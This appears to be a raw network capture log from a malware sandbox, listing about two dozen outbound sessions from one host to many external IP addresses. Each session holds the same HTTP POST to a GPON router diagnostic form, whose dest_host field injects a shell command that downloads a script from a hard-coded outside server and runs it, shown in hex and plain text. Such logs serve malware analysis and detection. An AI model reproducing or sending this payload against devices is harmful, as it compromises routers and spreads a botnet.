Mar 2, 2024 12:37:28.965171099 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
528	192.168.2.23	60482	109.15.44.221	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.965176105 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
529	192.168.2.23	60728	109.242.219.53	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.965193033 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
530	192.168.2.23	34332	5.233.247.138	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.965193987 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
531	192.168.2.23	48538	109.90.148.155	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.965230942 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
532	192.168.2.23	43986	37.249.79.110	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.965264082 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
533	192.168.2.23	41522	5.241.23.81	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.965264082 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
534	192.168.2.23	36048	178.11.255.210	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.965264082 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
535	192.168.2.23	57856	5.41.149.71	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.965280056 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
536	192.168.2.23	46734	5.123.56.180	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.965301991 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
537	192.168.2.23	33710	37.126.174.31	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.965333939 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
538	192.168.2.23	46512	94.121.233.20	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.965379000 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
539	192.168.2.23	57140	210.253.109.18	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.965379000 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
540	192.168.2.23	40916	118.42.48.164	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.965383053 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
541	192.168.2.23	47556	2.238.246.102	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.965389967 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
542	192.168.2.23	45964	118.234.70.162	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.965426922 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
543	192.168.2.23	36412	37.21.111.211	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.965440035 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
544	192.168.2.23	59578	2.253.181.83	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.965462923 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
545	192.168.2.23	48150	5.69.12.247	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.965472937 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
546	192.168.2.23	55526	178.203.160.146	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.965476990 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
547	192.168.2.23	53978	212.69.169.110	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.965542078 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
548	192.168.2.23	52906	2.191.94.243	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.965553045 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
549	192.168.2.23	43472	178.12.58.47	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.965560913 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
550	192.168.2.23	59854	212.249.53.59	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.965569019 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
551	192.168.2.23	50796	5.213.207.232	443

Timestamp	Bytes transferred	Direction	Data
